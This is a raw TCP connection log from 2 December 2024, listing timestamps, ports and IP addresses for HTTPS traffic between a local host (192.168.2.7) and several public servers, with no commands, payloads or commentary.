Dec 2, 2024 01:34:33.963964939 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:33.963977098 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:34.096200943 CET	49795	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:34.096338034 CET	443	49795	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:34.096422911 CET	49795	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:34.097554922 CET	49795	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:34.097594023 CET	443	49795	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:34.216464043 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:34.216540098 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:34.216607094 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:34.222625971 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:34.222642899 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:35.142616987 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:35.142656088 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:35.142720938 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:35.154443026 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:35.154462099 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:35.458795071 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:35.458868027 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:35.459263086 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:35.459276915 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:35.461330891 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:35.461335897 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:35.461488962 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:35.461498976 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:35.565212965 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.565818071 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.616105080 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.686650991 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.709427118 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.771373987 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.772417068 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.773062944 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.778316021 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.778327942 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.778860092 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.778865099 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.779181957 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.779196978 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.786292076 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.786298990 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.831250906 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.831267118 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.831737995 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.831742048 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.833437920 CET	49790	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.833452940 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.834273100 CET	49790	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:35.834278107 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:35.948190928 CET	49795	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:35.948936939 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:35.948970079 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:35.949026108 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:35.952574015 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:35.952590942 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:35.986506939 CET	443	49795	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:35.986583948 CET	49795	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:36.085752964 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:36.085848093 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:36.085935116 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:36.086133003 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:36.086165905 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:36.086983919 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.087028980 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:36.087083101 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.087240934 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.087255955 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:36.088969946 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.089029074 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:36.089085102 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.089596987 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.089612961 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:36.097044945 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.097124100 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.097179890 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.097340107 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.097340107 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.097357035 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.097367048 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.100101948 CET	49814	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.100137949 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.100193977 CET	49814	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.100334883 CET	49814	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.100353003 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.102121115 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.102180004 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.102272987 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.102353096 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.102353096 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.102359056 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.102365971 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.104430914 CET	49815	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.104468107 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.104533911 CET	49815	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.104675055 CET	49815	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.104687929 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.156579018 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.156656027 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.156773090 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.156816006 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.156816006 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.156833887 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.156843901 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.158953905 CET	49816	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.158984900 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.159054041 CET	49816	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.159179926 CET	49816	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.159198999 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.168880939 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.168957949 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.169147015 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.169213057 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.169277906 CET	49790	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.175029993 CET	49790	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.175035000 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.175046921 CET	49790	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.175050020 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.178692102 CET	49819	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.178734064 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.178791046 CET	49819	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.179160118 CET	49819	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.179183006 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.222551107 CET	49826	443	192.168.2.7	18.165.220.110
Dec 2, 2024 01:34:36.222573996 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:34:36.222666025 CET	49826	443	192.168.2.7	18.165.220.110
Dec 2, 2024 01:34:36.223030090 CET	49826	443	192.168.2.7	18.165.220.110
Dec 2, 2024 01:34:36.223041058 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:34:36.224596977 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.224607944 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.224852085 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.226252079 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.226317883 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.226352930 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.484707117 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.484781981 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.484874964 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.484998941 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.485018969 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.485028982 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.485034943 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.487586021 CET	49830	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.487622023 CET	443	49830	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.487768888 CET	49830	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.488070965 CET	49830	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:36.488085985 CET	443	49830	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:36.543406963 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.543463945 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.543483973 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.543497086 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.543534040 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.544399023 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.544414997 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.567681074 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.567743063 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.568275928 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.568285942 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.570740938 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.570755005 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.570811987 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.570821047 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.570831060 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.570842028 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.570950985 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.570950985 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.570964098 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.570975065 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.570997000 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571006060 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571016073 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571021080 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571099043 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571106911 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571122885 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571131945 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571180105 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571192026 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571409941 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571422100 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571459055 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571471930 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571485996 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571506977 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571525097 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571541071 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571554899 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571566105 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571583033 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571599960 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.571621895 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:36.571631908 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:36.616187096 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.616276979 CET	443	49831	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:36.616358042 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.616955996 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.616986036 CET	443	49831	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:36.617444038 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.617495060 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:36.617563009 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.617746115 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:36.617763042 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:36.735961914 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:36.735995054 CET	443	49833	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:36.736171961 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:36.736449003 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:36.736464024 CET	443	49833	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:36.961785078 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.961877108 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.961956024 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.962281942 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.962306976 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.962320089 CET	49796	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.962327957 CET	443	49796	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.985585928 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.985625029 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:36.985694885 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.986202955 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:36.986217022 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:37.020911932 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:37.020951033 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:37.021050930 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:37.021195889 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:37.021209955 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:37.164589882 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:37.164634943 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:37.164691925 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:37.168283939 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:37.168298960 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:37.336144924 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.336456060 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.336488008 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.337502003 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.337569952 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.338951111 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.339010954 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.339133024 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.339140892 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.344532967 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.344793081 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.344816923 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.345698118 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.345752001 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.346788883 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.346911907 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.346930981 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.367085934 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.367856026 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.367881060 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.368774891 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.368844986 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.369739056 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.369806051 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.370069981 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.370085001 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.391330004 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.480087042 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.480170965 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.480201960 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.514837980 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.687047958 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.691972971 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:37.692315102 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:37.692348003 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:37.692707062 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:37.692723036 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:37.692778111 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:37.692785978 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:37.693032026 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:37.693348885 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:37.694667101 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:37.694772005 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:37.694864988 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:37.694875956 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:37.766866922 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.767050982 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.767246008 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.767465115 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.767550945 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.767708063 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.768342018 CET	49811	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.768371105 CET	443	49811	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.768716097 CET	49812	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.768732071 CET	443	49812	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.812201977 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.812271118 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.812357903 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.813563108 CET	49810	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.813581944 CET	443	49810	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.826165915 CET	443	49831	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.826354027 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.826401949 CET	443	49831	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.827317953 CET	443	49831	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.827389956 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.828562021 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.828648090 CET	443	49831	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.828803062 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.828825951 CET	443	49831	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.873258114 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.873261929 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:37.874130011 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.874156952 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.875271082 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.875329018 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.875688076 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.875761032 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.877052069 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.877662897 CET	49816	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:37.877698898 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.879585028 CET	49816	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:37.879604101 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.883121967 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.883285999 CET	443	49831	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.883373022 CET	49831	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.893644094 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.894109011 CET	49819	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:37.894148111 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.894604921 CET	49819	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:37.894623995 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.901803970 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.902195930 CET	49815	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:37.902224064 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.902739048 CET	49815	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:37.902748108 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.946048975 CET	443	49833	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.946507931 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.946520090 CET	443	49833	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.947525024 CET	443	49833	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.947603941 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.947881937 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.947949886 CET	443	49833	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.948020935 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:37.948029041 CET	443	49833	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:37.961668015 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.975908995 CET	49814	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:37.975950956 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.976371050 CET	49814	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:37.976378918 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:37.981491089 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:37.981498003 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:37.994384050 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:34:37.994666100 CET	49826	443	192.168.2.7	18.165.220.110
